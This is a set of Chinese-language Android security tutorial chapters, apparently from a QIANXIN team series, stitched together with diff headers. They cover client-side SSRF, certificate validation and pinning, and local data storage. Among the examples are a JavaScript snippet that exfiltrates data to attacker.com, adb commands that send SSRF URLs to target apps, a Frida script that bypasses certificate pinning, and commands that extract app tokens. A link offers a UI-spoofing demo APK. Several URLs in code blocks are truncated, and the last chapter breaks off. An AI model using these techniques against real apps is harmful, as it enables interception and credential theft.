Android 10 开始,当 App 使用悬浮窗时,系统会在状态栏显示一条持续通知,告知用户"某某 App 正在其他应用上层显示"。用户可以通过这条通知直接关闭悬浮窗权限。
### 7.3 Android 10:任务栈劫持修复
Android 10 修复了 StrandHogg 2.0 漏洞,限制了 `startActivities()` 的行为。但 StrandHogg 1.0(基于 taskAffinity)的利用在某些场景下仍然有效。
### 7.4 Android 11API 30):自定义 Toast 废弃
`Toast.setView()` 被废弃,后台 App 无法再显示自定义布局的 Toast。这基本消除了 Toast 伪造的攻击面。
### 7.5 Android 12API 31):Overlay 限制加强
Android 12 对悬浮窗做了进一步限制:
- 系统可以在某些场景下自动隐藏 Overlay(比如用户在进行敏感操作时)
- `SYSTEM_ALERT_WINDOW` 权限的授予更加严格
- 不可信的触摸事件(来自 Overlay 的穿透点击)会被系统阻止
* * *
## 8\. 总结
UI 欺骗的攻击目标是用户而不是程序。
回顾一下:
- 导出组件的 UI 注入是被动利用,依赖目标 App 存在接受外部输入的导出 Activity
- 悬浮窗覆盖需要 SYSTEM\_ALERT\_WINDOW 权限,Android 10+ 会显示通知提醒用户,Android 12+ 限制更严格
- 任务栈劫持利用 taskAffinity 把钓鱼 Activity 插入目标 App 的任务中,StrandHogg 2.0 在 Android 10 被修复
- 辅助功能服务的能力很强(键盘记录、模拟点击、屏幕读取),但授权门槛也高,需要用户手动开启
下一章讲 Android Deep Link 安全。Deep Link 让 App 可以通过 URL 被唤起,这个机制和 WebView、Intent 都有交集——URL 解析、参数校验、组件跳转,每一步都可能出问题。
通过网盘分享的文件:ui欺骗演示.apk
链接: [https://pan.baidu.com/s/1tc-tV2KH93xUomOR4XsmWA?pwd=vuvq](https://pan.baidu.com/s/1tc-tV2KH93xUomOR4XsmWA?pwd=vuvq) 提取码: vuvq
@@ -0,0 +1,450 @@
# Android移动安全第十一章_SSRF与网络安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4878
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全(本章)
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Web 安全中的 SSRF 是指:攻击者让服务器代替自己发起网络请求,从而访问服务器能访问但攻击者不能直接访问的资源(如内网服务、云元数据接口)。
Android App 中的 SSRF 原理相同,但场景有所不同。App 运行在用户设备上,它能访问的"内网"包括:
- 设备本地服务(localhost / 127.0.0.1
- 同一局域网内的其他设备和服务
- App 自身的 WebView 缓存和 Cookie
- App 配置的 API 接口(携带认证 token)
当 App 从 Intent extras、Deep Link 参数、广播数据等外部输入中获取 URL 并直接发起网络请求时,攻击者就有机会控制请求的目标。
本章讲 Android 客户端中 SSRF 的触发点、利用方式,以及和 WebView、网络库相关的安全问题。
* * *
## 2\. 客户端 SSRF 的触发点
### 2.1 Intent 传入 URL
最常见的触发点是 Activity 从 Intent 中读取 URL 后发起网络请求:
```java
public class FetchActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
if (url != null) {
new Thread(() -> {
try {
HttpURLConnection conn = (HttpURLConnection)
new URL(url).openConnection();
InputStream is = conn.getInputStream();
} catch (Exception e) {}
}).start();
}
}
}
```
如果这个 Activity 是导出的,攻击者可以通过 ADB 或恶意 App 传入任意 URL
```bash
adb shell am start -n com.target.app/.FetchActivity \
--es url "http://127.0.0.1:8080/admin"
```
### 2.2 Deep Link 参数
第七章讲过 Deep Link 的安全问题。如果 App 从 Deep Link 的 URL 参数中提取目标地址并发起请求,同样存在 SSRF 风险:
```php
demoapp:
```
App 解析 `target` 参数后直接请求:
```java
Uri uri = getIntent().getData();
String target = uri.getQueryParameter("target");
```
Deep Link 可以通过浏览器触发(用户点击一个链接就够了),攻击门槛比 Intent 更低。
### 2.3 WebView 中的 SSRF
第五章讲过 WebView 的安全问题。WebView 加载外部 URL 时,页面中的 JavaScript 可以发起 XMLHttpRequest 或 fetch 请求。如果 WebView 启用了 `setAllowUniversalAccessFromFileURLs(true)` 或加载的是 `file://` 协议的页面,JavaScript 可以跨域访问任意 URL
```java
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
webView.loadUrl(attackerControlledUrl);
```
攻击者控制的页面中:
```javascript
fetch('http://127.0.0.1:8080/api/secret')
.then(r => r.text())
.then(data => {
fetch('https://attacker.com/collect?data=' + encodeURIComponent(data));
});
```
### 2.4 图片/资源加载
很多 App 使用图片加载库(如 Glide、Picasso、Coil)从 URL 加载图片。如果 URL 来自外部输入且未校验,攻击者可以让 App 请求任意地址:
```java
String avatarUrl = getIntent().getStringExtra("avatar_url");
Glide.with(this).load(avatarUrl).into(imageView);
```
虽然图片加载库通常只处理图片格式的响应,但请求本身已经发出了。如果目标服务根据请求的存在(而非响应内容)来触发操作(如 CSRF token 刷新),这就足够了。
### 2.5 JS Bridge 回调
第五章讲过 JS Bridge。如果 WebView 暴露了一个接受 URL 参数的 JS Bridge 方法,页面中的 JavaScript 可以让 App 发起任意网络请求:
```java
@JavascriptInterface
public void fetchData(String url) {
new Thread(() -> {
try {
HttpURLConnection conn = (HttpURLConnection)
new URL(url).openConnection();
String response = readStream(conn.getInputStream());
} catch (Exception e) {}
}).start();
}
```
这种情况下,App 充当了"代理"的角色——JavaScript 通过 JS Bridge 让 App 发起请求,App 的请求可能携带了 Cookie、Authorization header 等认证信息,而这些信息是 JavaScript 直接请求时拿不到的。
* * *
## 3\. 利用方式
### 3.1 访问本地服务
Android 设备上可能运行着一些本地服务,监听在 localhost 上:
- 开发工具的调试服务(如 React Native 的 Metro bundler 默认监听 8081 端口)
- App 内嵌的本地 HTTP 服务(一些 App 用本地 HTTP 服务来做进程间通信或提供 WebView 内容)
- ADB 的本地转发端口
```bash
adb shell am start -n com.target.app/.FetchActivity \
--es url "http://127.0.0.1:8081/status"
```
如果本地服务没有做来源校验(很多本地服务假设只有本机进程能访问,不做认证),App 的请求就能获取到服务的响应数据。
### 3.2 探测内网
当设备连接到 Wi-Fi 时,App 可以访问同一局域网内的其他设备。攻击者可以利用 SSRF 来探测内网拓扑:
```php
http:
http:
http:
```
通过观察请求的响应时间和状态码,可以判断内网中哪些 IP 和端口是开放的。
### 3.3 利用认证信息
App 的网络请求通常会自动携带认证信息:
- OkHttp 的 CookieJar 中存储的 Cookie
- Interceptor 自动添加的 Authorization header
- 网络库配置的 API key
如果攻击者能控制请求的 URL,可以让 App 携带这些认证信息去访问攻击者控制的服务器:
```php
https:
```
App 的网络拦截器可能会自动在请求中添加 `Authorization: Bearer <token>`,攻击者的服务器就能收到这个 token。
不过,成熟的网络库(如 OkHttp)默认只在请求目标域名匹配时才发送 Cookie。但自定义的 Interceptor 如果不检查目标域名就添加 header,就会泄露认证信息。
```java
OkHttpClient client = new OkHttpClient.Builder()
.addInterceptor(chain -> {
Request request = chain.request()
.newBuilder()
.addHeader("Authorization", "Bearer " + authToken)
.build();
return chain.proceed(request);
})
.build();
```
安全的做法是在 Interceptor 中检查请求的域名:
```java
.addInterceptor(chain -> {
Request request = chain.request();
String host = request.url().host();
if ("api.example.com".equals(host)) {
request = request.newBuilder()
.addHeader("Authorization", "Bearer " + authToken)
.build();
}
return chain.proceed(request);
})
```
### 3.4 file:// 协议
如果 App 的 URL 处理逻辑没有限制协议类型,攻击者可以使用 `file://` 协议读取本地文件:
```bash
adb shell am start -n com.target.app/.FetchActivity \
--es url "file:///data/data/com.target.app/shared_prefs/config.xml"
```
`HttpURLConnection` 默认不支持 `file://` 协议,但 `URL.openConnection()` 在某些实现中可能支持。WebView 的 `loadUrl()` 则明确支持 `file://`,第五章已经讲过这个问题。
一些网络库(如 OkHttp)默认也不支持 `file://`,但如果 App 自己实现了 URL 处理逻辑(比如先下载到本地再读取),可能在路径拼接时引入路径遍历问题。
* * *
## 4\. 明文流量
### 4.1 Cleartext Traffic
Android 9.0API 28)开始,默认禁止 App 发送明文 HTTP 请求(非 HTTPS)。如果 App 的 `targetSdk >= 28` 且没有特殊配置,尝试发起 HTTP 请求会抛出异常:
```php
java.net.UnknownServiceException: CLEARTEXT communication to example.com not permitted
```
但很多 App 为了兼容性或开发便利,在 Manifest 中开启了明文流量:
```xml
<application
android:usesCleartextTraffic="true"
... >
```
或者通过 Network Security Config(网络安全配置,Android 7.0 引入的 XML 配置文件,用于自定义 App 的网络安全策略)允许特定域名的明文流量:
```xml
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">api.example.com</domain>
</domain-config>
</network-security-config>
```
```xml
<application
android:networkSecurityConfig="@xml/network_security_config"
... >
```
开启明文流量意味着 App 的网络请求可以被同一网络中的攻击者通过中间人攻击(MITMMan-In-The-Middle)截获和篡改。
### 4.2 Network Security Config
Network Security Config 是 Android 7.0 引入的机制,允许 App 以声明式的方式配置网络安全策略,而不需要修改代码。它可以控制:
- 是否允许明文流量
- 信任哪些 CA 证书
- 是否启用证书固定(Certificate Pinning
```xml
<network-security-config>
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<certificates src="system" />
</trust-anchors>
</base-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" />
</trust-anchors>
</debug-overrides>
<domain-config>
<domain includeSubdomains="true">api.example.com</domain>
<pin-set expiration="2025-01-01">
<pin digest="SHA-256">base64EncodedPin=</pin>
<pin digest="SHA-256">backupPin=</pin>
</pin-set>
</domain-config>
</network-security-config>
```
审计时需要关注的配置问题:
| 配置 | 风险 |
| --- | --- |
| cleartextTrafficPermitted="true" | 允许明文 HTTP,可被中间人攻击 |
| <certificates src="user" /> 在非 debug 配置中 | 信任用户安装的证书,降低了 MITM 门槛 |
| 没有配置 pin-set | 没有证书固定,依赖系统 CA 信任链 |
| pin-set 的 expiration 已过期 | 证书固定失效 |
### 4.3 Android 版本对明文流量的限制
| 版本 | 行为 |
| --- | --- |
| Android 6.0 及之前 | 默认允许明文流量 |
| Android 7.0API 24 | 引入 Network Security Config,但默认仍允许明文 |
| Android 8.0API 26 | WebView 中的明文流量受 Network Security Config 控制 |
| Android 9.0API 28 | targetSdk >= 28 的 App 默认禁止明文流量 |
* * *
## 5\. URL 校验绕过
### 5.1 常见的校验方式和绕过
开发者意识到 URL 需要校验后,通常会做一些简单的检查。但这些检查往往可以被绕过:
白名单域名检查——只检查 URL 是否包含白名单域名:
```java
if (url.contains("example.com")) {
loadUrl(url);
}
```
绕过方式:
```php
https:
https:
https:
```
协议检查——只检查是否以 `https://` 开头:
```java
if (url.startsWith("https://")) {
loadUrl(url);
}
```
这只能防止 `file://``javascript:` 协议,不能防止 SSRF(攻击者的服务器也可以用 HTTPS)。
### 5.2 URL 解析差异
不同的 URL 解析库对同一个 URL 可能有不同的解析结果,这种差异可以被利用来绕过校验:
```java
URL url = new URL("https://example.com@attacker.com/path");
url.getHost();
Uri uri = Uri.parse("https://example.com@attacker.com/path");
uri.getHost();
```
在这个例子中,`example.com` 是 URL 的 userinfo 部分(用户名),实际的 host 是 `attacker.com`。如果校验逻辑用字符串匹配检查 `example.com`,但实际请求发往 `attacker.com`,就构成了绕过。
另一个常见的解析差异是 URL 编码:
```php
https:
```
`%2F``/` 的 URL 编码。不同解析库对这个 URL 的 host 解析可能不同。
### 5.3 重定向
即使 App 校验了初始 URL,如果网络库跟随了 HTTP 重定向(301/302),最终请求的目标可能和初始 URL 完全不同:
```java
if (isWhitelisted(url)) {
HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
conn.setInstanceFollowRedirects(true);
}
```
OkHttp 默认也会跟随重定向。如果攻击者能控制白名单域名上的一个重定向(比如通过开放重定向漏洞),就能绕过 URL 校验。
* * *
## 6\. WebSocket 和长连接
### 6.1 WebSocket
一些 App 使用 WebSocket 进行实时通信。如果 WebSocket 的连接地址来自外部输入,同样存在 SSRF 风险:
```java
String wsUrl = getIntent().getStringExtra("ws_url");
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(wsUrl).build();
WebSocket ws = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onMessage(WebSocket webSocket, String text) {
}
});
```
WebSocket 连接建立后是双向的,攻击者的服务器可以主动向 App 推送消息。如果 App 不校验消息来源就处理消息内容,可能导致更多问题。
### 6.2 自定义协议
一些 App 实现了自定义的网络协议(如基于 TCP 的私有协议)。如果连接地址可控,攻击者可以让 App 连接到恶意服务器,恶意服务器返回精心构造的响应来触发 App 中的解析漏洞。
* * *
## 7\. 总结
Android 客户端的 SSRF 和 Web 端的原理相同——外部输入控制了网络请求的目标。但移动端的攻击面有自己的特点:触发点分散在 Intent、Deep Link、JS Bridge、图片加载等多个入口,利用目标包括本地服务、内网资源和 App 自身的认证信息。
回顾一下:
- Intent extras、Deep Link 参数、JS Bridge 回调是常见的 URL 注入点
- 本地服务(localhost)、内网资源、App 认证信息是主要的利用目标
- 简单的字符串匹配校验容易被 URL 解析差异和重定向绕过
- Android 9.0 默认禁止明文流量,但很多 App 通过配置开启了明文
- Network Security Config 提供了声明式的网络安全策略配置
- 网络库的 Interceptor 如果不检查目标域名就添加认证 header,会导致 token 泄露
下一章讲 Android 加密与数据存储安全。SharedPreferences、SQLite 数据库、文件存储中的敏感数据如果没有加密,或者加密方式存在缺陷,就是数据泄露的入口。
@@ -0,0 +1,343 @@
# Android移动安全第十三章_认证与证书校验
> QIANXIN Team
> 来源:https://forum.butian.net/share/4880
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验(本章)
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
HTTPS 在 HTTP 的基础上加了一层 TLSTransport Layer Security,传输层安全协议)。TLS 握手过程中,服务器会向客户端出示自己的数字证书,客户端验证这个证书是否由受信任的 CACertificate Authority,证书颁发机构)签发、是否过期、域名是否匹配。验证通过后,双方协商出一个对称加密密钥,后续通信用这个密钥加密。
如果客户端跳过了证书校验,TLS 握手仍然会完成,通信仍然是加密的——但客户端无法确认对方是谁。攻击者可以在客户端和服务器之间插入自己(中间人攻击,MITM),用自己的证书和客户端建立 TLS 连接,再用服务器的真实证书和服务器建立另一个 TLS 连接,两边都以为在和对方直接通信。
本章讲 Android App 中证书校验被绕过的各种方式,以及证书固定(Certificate Pinning)的实现和绕过。
* * *
## 2\. TLS 证书校验基础
### 2.1 证书链
TLS 证书通常不是由根 CA 直接签发的,而是通过一个证书链(Certificate Chain):
```php
CA 证书(Root CA
└── 中间 CA 证书(Intermediate CA
└── 服务器证书(Server Certificate
```
客户端验证时,从服务器证书开始,逐级向上验证签名,直到找到一个本地信任的根 CA 证书。Android 系统预装了一组受信任的根 CA 证书,存放在 `/system/etc/security/cacerts/` 目录下。
### 2.2 Android 的信任模型
Android 区分两类 CA 证书:
- 系统 CA:预装在系统分区中,所有 App 默认信任
- 用户 CA:用户手动安装的证书,存放在 `/data/misc/user/0/cacerts-added/`
不同 Android 版本对用户 CA 的信任策略不同:
| 版本 | 默认信任用户 CA |
| --- | --- |
| Android 6.0 及之前 | 是,所有 App 信任用户 CA |
| Android 7.0+targetSdk >= 24 | 否,App 默认不信任用户 CA |
| Android 7.0+targetSdk < 24 | 是,仍然信任用户 CA |
Android 7.0 的这个改动对安全审计有直接影响——要用 Burp Suite、mitmproxy 等工具抓包,需要把代理的 CA 证书安装为系统 CA(需要 root),或者修改 App 的 Network Security Config 让它信任用户 CA。
* * *
## 3\. 禁用证书校验
### 3.1 自定义 TrustManager
最常见的证书校验绕过方式是实现一个空的 TrustManager(信任管理器,Java 中负责验证服务器证书的接口):
```java
TrustManager[] trustAllCerts = new TrustManager[]{
new X509TrustManager() {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType) {
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType) {
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
};
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustAllCerts, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
```
`checkServerTrusted()` 方法是证书校验的核心。如果这个方法的实现是空的(不抛出 CertificateException),就意味着接受任何证书,包括攻击者自签名的证书。
这种代码通常是开发阶段为了方便调试(跳过证书校验可以用自签名证书的测试服务器)而加的,但忘了在发布前移除。
### 3.2 自定义 HostnameVerifier
除了证书本身的校验,TLS 还需要验证证书中的域名是否和请求的域名匹配。HostnameVerifier(主机名验证器)负责这个检查:
```java
HostnameVerifier allHostsValid = (hostname, session) -> true;
HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid);
```
即使证书校验是正常的,如果 HostnameVerifier 返回 true,攻击者可以用任何有效域名的证书(比如 `attacker.com` 的合法证书)来冒充目标服务器。
### 3.3 OkHttp 中的禁用
OkHttp 是 Android 中最常用的 HTTP 客户端库。在 OkHttp 中禁用证书校验:
```java
OkHttpClient client = new OkHttpClient.Builder()
.sslSocketFactory(trustAllSslSocketFactory, trustAllCerts[0])
.hostnameVerifier((hostname, session) -> true)
.build();
```
一些第三方库或 SDK 可能在内部创建了自己的 OkHttpClient 实例并禁用了证书校验,App 开发者可能不知道自己引入的依赖中存在这个问题。
### 3.4 WebView 中的禁用
WebView 加载 HTTPS 页面时遇到证书错误会回调 `onReceivedSslError()`。默认行为是取消加载,但开发者可以选择忽略错误继续加载:
```java
webView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error) {
handler.proceed();
}
});
```
Google Play 的审核会检测这种模式,如果 App 中存在无条件调用 `handler.proceed()` 的代码,可能会被拒绝上架。但非 Google Play 渠道分发的 App(如厂商预装 App、企业内部 App)不受此限制。
* * *
## 4\. 证书固定
### 4.1 概念
标准的证书校验依赖 CA 信任链——只要证书是由系统信任的 CA 签发的,就接受。但 CA 体系本身存在风险:如果某个 CA 被入侵或被政府强制签发证书,攻击者就能获得任何域名的合法证书。
证书固定(Certificate Pinning)是在 CA 信任链之上增加的一层校验:App 在代码或配置中预先指定服务器证书的公钥哈希(pin),连接时不仅验证 CA 信任链,还验证服务器证书的公钥是否匹配预设的 pin。即使攻击者拿到了 CA 签发的合法证书,只要公钥不匹配,连接就会被拒绝。
### 4.2 OkHttp 实现
OkHttp 内置了证书固定支持:
```java
CertificatePinner pinner = new CertificatePinner.Builder()
.add("api.example.com",
"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.add("api.example.com",
"sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")
.build();
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(pinner)
.build();
```
pin 的值是证书公钥的 SHA-256 哈希的 Base64 编码。可以通过 openssl 命令获取:
```bash
openssl s_client -connect api.example.com:443 -servername api.example.com \
< /dev/null 2>/dev/null | \
openssl x509 -pubkey -noout | \
openssl pkey -pubin -outform der | \
openssl dgst -sha256 -binary | \
openssl enc -base64
```
### 4.3 Network Security Config 实现
第十一章提到的 Network Security Config 也支持证书固定:
```xml
<network-security-config>
<domain-config>
<domain includeSubdomains="true">api.example.com</domain>
<pin-set expiration="2026-01-01">
<pin digest="SHA-256">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</pin>
<pin digest="SHA-256">BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=</pin>
</pin-set>
</domain-config>
</network-security-config>
```
Network Security Config 的证书固定有一个 `expiration` 属性。过期后固定失效,回退到标准的 CA 信任链校验。这是为了防止 App 长期不更新导致证书轮换后无法连接。
### 4.4 固定的层级
证书固定可以固定证书链中不同层级的证书:
| 固定层级 | 优点 | 缺点 |
| --- | --- | --- |
| 叶子证书(服务器证书) | 最严格,只接受特定证书 | 证书续期后必须更新 App |
| 中间 CA 证书 | 允许同一 CA 签发的新证书 | CA 更换后需要更新 |
| 根 CA 证书 | 最宽松,允许该 CA 签发的所有证书 | 安全性较低 |
实际中通常固定中间 CA 或叶子证书,并配置至少一个备份 pin(对应备用证书或备用 CA),防止主证书出问题时 App 完全无法连接。
* * *
## 5\. 证书固定的绕过
### 5.1 Frida / Xposed Hook
在 root 设备上,可以使用 Frida(一个动态代码注入框架,可以在运行时修改 App 的行为)或 Xposed(一个 Android 系统级的 Hook 框架)来绕过证书固定。
Frida 的常见做法是 Hook `TrustManager.checkServerTrusted()``CertificatePinner.check()` 方法,让它们直接返回而不抛出异常:
```javascript
Java.perform(function() {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List')
.implementation = function(hostname, peerCertificates) {
return;
};
});
```
社区维护的 `frida-ssl-pinning-bypass``objection` 工具集成了常见网络库的证书固定绕过脚本,覆盖了 OkHttp、HttpsURLConnection、Volley、Retrofit 等。
### 5.2 重打包
不需要 root 的绕过方式是重打包 APK:
1. 反编译 APK(使用 apktool
2. 修改 Network Security Config,添加信任用户 CA 的配置
3. 或者修改 smali 代码,将证书固定的检查逻辑替换为空实现
4. 重新打包并签名
```xml
<network-security-config>
<base-config>
<trust-anchors>
<certificates src="system" />
<certificates src="user" />
</trust-anchors>
</base-config>
</network-security-config>
```
这种方式的限制是:如果服务器端做了签名校验(检查 App 的签名证书是否和预期一致),重打包后的 App 签名会变化,可能被服务器拒绝。
### 5.3 Magisk 模块
在 root 设备上,可以通过 Magisk 模块将代理的 CA 证书注入到系统 CA 目录中,而不需要修改 App。这样 App 看到的是一个"系统级"的 CA 证书,标准的证书校验会通过。但证书固定仍然会阻止连接,因为固定检查的是公钥哈希而不是 CA 信任链。
* * *
## 6\. 客户端证书
### 6.1 双向 TLS
标准的 TLS 是单向认证——客户端验证服务器的身份。双向 TLS(mTLS,mutual TLS)在此基础上增加了服务器验证客户端身份的步骤:客户端也需要向服务器出示自己的证书。
```java
KeyStore clientKeyStore = KeyStore.getInstance("PKCS12");
clientKeyStore.load(getAssets().open("client.p12"), "password".toCharArray());
KeyManagerFactory kmf = KeyManagerFactory.getInstance(
KeyManagerFactory.getDefaultAlgorithm());
kmf.init(clientKeyStore, "password".toCharArray());
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(kmf.getKeyManagers(), null, null);
```
### 6.2 客户端证书的安全问题
客户端证书通常打包在 APK 的 `assets/``res/raw/` 目录中,密码硬编码在代码里。反编译 APK 后可以提取证书和密码:
```bash
unzip app.apk -d extracted/
ls extracted/assets/*.p12
ls extracted/res/raw/*.bks
```
提取到客户端证书后,攻击者可以用它来冒充合法客户端和服务器通信。
更安全的做法是将客户端证书存储在 Android KeyStore 中(第十二章讲过),而不是打包在 APK 里。但这需要一个安全的证书分发机制(如首次登录时从服务器下载并导入 KeyStore)。
* * *
## 7\. 版本演进
### 7.1 Android 7.0API 24):Network Security Config
引入了 Network Security Config,允许 App 以声明式方式配置网络安全策略。同时,targetSdk >= 24 的 App 默认不信任用户安装的 CA 证书。
### 7.2 Android 8.0API 26):SSLSocket 默认行为变化
Android 8.0 修改了 `SSLSocket` 的默认行为,禁用了 SSLv3 和一些弱密码套件。同时,`HttpsURLConnection` 默认使用 SNIServer Name Indication,服务器名称指示,TLS 扩展,允许客户端在握手时告知服务器自己要访问的域名)。
### 7.3 Android 9.0API 28):默认禁止明文流量
第十一章讲过,targetSdk >= 28 的 App 默认禁止明文 HTTP 流量。
### 7.4 Android 10API 29):TLS 1.3 默认启用
Android 10 默认启用了 TLS 1.3。TLS 1.3 相比 1.2 减少了握手往返次数,移除了不安全的密码套件,整体安全性更高。
### 7.5 Android 14API 34):系统 CA 证书更新
Android 14 将系统 CA 证书的更新从系统 OTA 升级中分离出来,通过 Google Play 系统更新(Mainline 模块)独立更新。这意味着 CA 证书可以更快地被添加或撤销,不需要等待设备厂商推送系统更新。
* * *
## 8\. 总结
证书校验是 HTTPS 安全的基础。禁用证书校验等于把 HTTPS 降级为明文通信——数据仍然是加密的,但攻击者可以在中间解密、查看、篡改后再加密转发。
回顾一下:
- 空的 TrustManager 和返回 true 的 HostnameVerifier 是最常见的证书校验绕过
- WebView 的 `onReceivedSslError` 中调用 `handler.proceed()` 同样危险
- Android 7.0 之后 App 默认不信任用户 CA,提高了中间人攻击的门槛
- 证书固定在 CA 信任链之上增加了公钥哈希校验,可以通过 OkHttp 或 Network Security Config 实现
- Frida Hook 和 APK 重打包是绕过证书固定的常用手段
- 客户端证书打包在 APK 中可以被提取,应该使用 KeyStore 存储
下一章讲 Android Zip Slip 路径遍历。App 解压 ZIP 文件时如果不校验文件名中的 `../`,可能导致文件被写入沙箱外的任意位置。
@@ -0,0 +1,414 @@
# Android移动安全第十二章_加密与数据存储安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4879
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全(本章)
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Android 的应用沙箱机制为每个 App 分配了独立的 Linux 用户 ID(UID)和私有数据目录(`/data/data/<package_name>/`)。正常情况下,一个 App 无法读取另一个 App 的私有数据。
但沙箱不是万能的。以下场景中,App 的本地数据可能被读取:
- 设备被 root(root 用户可以访问所有文件)
- 通过 `adb backup` 导出应用数据(如果 App 允许备份)
- 通过导出的 ContentProvider 或 FileProvider 间接读取(第四章讲过)
- 设备被物理接触,通过自定义 Recovery 或芯片级读取提取数据分区
- App 自己把数据写到了外部存储(SD 卡),外部存储对所有 App 可读
所以"数据在沙箱里就安全了"这个假设并不成立。敏感数据需要加密存储,而加密的质量取决于算法选择和密钥管理。
* * *
## 2\. 本地存储方式
### 2.1 SharedPreferences
SharedPreferences 是 Android 提供的轻量级键值对存储,底层是 XML 文件,存放在 `/data/data/<package_name>/shared_prefs/` 目录下。
```java
SharedPreferences prefs = getSharedPreferences("config", MODE_PRIVATE);
SharedPreferences.Editor editor = prefs.edit();
editor.putString("auth_token", "eyJhbGciOiJIUzI1NiJ9...");
editor.putString("user_password", "plaintext_password");
editor.apply();
```
生成的 XML 文件内容:
```xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="auth_token">eyJhbGciOiJIUzI1NiJ9...</string>
<string name="user_password">plaintext_password</string>
</map>
```
通过 ADB 可以直接读取(需要 root 或 `run-as`):
```bash
adb shell run-as com.target.app \
cat shared_prefs/config.xml
```
SharedPreferences 本身不提供任何加密能力。存进去什么,文件里就是什么。
另一个常见问题是 `MODE_WORLD_READABLE`。这个模式在 Android 4.2 之前允许其他 App 读取 SharedPreferences 文件。虽然在 Android 7.0 之后使用这个模式会直接抛出 SecurityException,但一些老旧的 App 或 SDK 可能仍然在用。
### 2.2 SQLite 数据库
SQLite 数据库文件存放在 `/data/data/<package_name>/databases/` 目录下。和 SharedPreferences 一样,默认不加密。
```java
SQLiteDatabase db = openOrCreateDatabase("users.db", MODE_PRIVATE, null);
db.execSQL("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, " +
"username TEXT, password TEXT, token TEXT)");
db.execSQL("INSERT INTO users VALUES (1, 'admin', 'P@ssw0rd', 'secret_token')");
```
通过 ADB 提取数据库文件后,可以用任何 SQLite 工具打开:
```bash
adb shell run-as com.target.app \
cat databases/users.db > /tmp/users.db
sqlite3 /tmp/users.db "SELECT * FROM users;"
```
### 2.3 文件存储
App 可以在私有目录下创建任意文件:
```java
FileOutputStream fos = openFileOutput("secret.txt", MODE_PRIVATE);
fos.write("sensitive data".getBytes());
fos.close();
File cacheFile = new File(getCacheDir(), "temp_token.txt");
```
### 2.4 外部存储
外部存储(SD 卡或模拟的外部存储)是一个公共区域。Android 10 之前,任何持有 `READ_EXTERNAL_STORAGE` 权限的 App 都可以读取外部存储中的所有文件。
```java
File file = new File(Environment.getExternalStorageDirectory(), "backup.json");
FileWriter writer = new FileWriter(file);
writer.write("{\"token\": \"secret\", \"password\": \"123456\"}");
writer.close();
```
Android 10 引入了分区存储(Scoped Storage),限制了 App 对外部存储的访问范围。但 App 仍然可以访问自己创建的文件,且通过 `MANAGE_EXTERNAL_STORAGE` 权限可以访问所有文件。
### 2.5 adb backup
`adb backup` 命令可以导出 App 的私有数据(SharedPreferences、数据库、文件)。如果 App 的 Manifest 中 `android:allowBackup="true"`(这是默认值),数据就可以被导出:
```bash
adb backup -f backup.ab com.target.app
```
导出的 `.ab` 文件可以用工具转换为 tar 格式后解压,获取 App 的所有私有数据。
Android 12 开始,`adb backup` 默认不再包含 App 数据(即使 `allowBackup="true"`),但通过 `android:debuggable="true"` 或特定的备份代理配置仍然可能导出。
* * *
## 3\. 常见的加密问题
### 3.1 硬编码密钥
最常见的加密问题是密钥硬编码在代码中:
```java
